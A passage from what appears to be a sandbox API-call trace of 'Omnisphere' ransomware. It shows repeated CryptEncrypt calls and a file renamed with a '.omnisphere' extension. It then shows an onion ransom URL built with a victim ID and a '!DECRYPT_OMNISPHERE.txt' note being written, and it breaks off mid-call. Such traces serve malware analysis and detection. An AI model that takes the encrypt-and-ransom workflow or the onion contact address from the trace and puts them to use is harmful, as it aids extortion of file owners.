CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.051] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.052] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.053] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.053] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.053] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.053] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.053] GetProcessHeap () returned 0x1600000 [0128.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fc108 [0128.054] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\75668a91ce73b054.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\75668a91ce73b054.automaticdestinations-ms.omnisphere")) returned 1 [0128.054] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms.omnisphere.id" [0128.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\75668a91ce73b054.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.055] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.056] CloseHandle (hObject=0x388) returned 1 [0128.056] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.056] CloseHandle (hObject=0x3c0) returned 1 [0128.056] SetEndOfFile (hFile=0x288) returned 1 [0128.056] FlushFileBuffers (hFile=0x288) returned 1 [0128.059] CloseHandle (hObject=0x288) returned 1 [0128.060] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.060] GetProcessHeap () returned 0x1600000 [0128.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fc420 [0128.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.060] GetProcessHeap () returned 0x1600000 [0128.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1ff0 [0128.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1ff0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.060] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.060] GetProcessHeap () returned 0x1600000 [0128.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710640 [0128.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710640, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.060] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.060] GetProcessHeap () returned 0x1600000 [0128.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fbba8 [0128.060] PathCombineW (in: pszDest=0x16fbba8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.060] GetProcessHeap () returned 0x1600000 [0128.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1702eb8 [0128.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.060] WriteFile (in: hFile=0x288, lpBuffer=0x1702eb8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1702eb8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.061] CloseHandle (hObject=0x288) returned 1 [0128.061] GetProcessHeap () returned 0x1600000 [0128.061] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fc420 | out: hHeap=0x1600000) returned 1 [0128.061] GetProcessHeap () returned 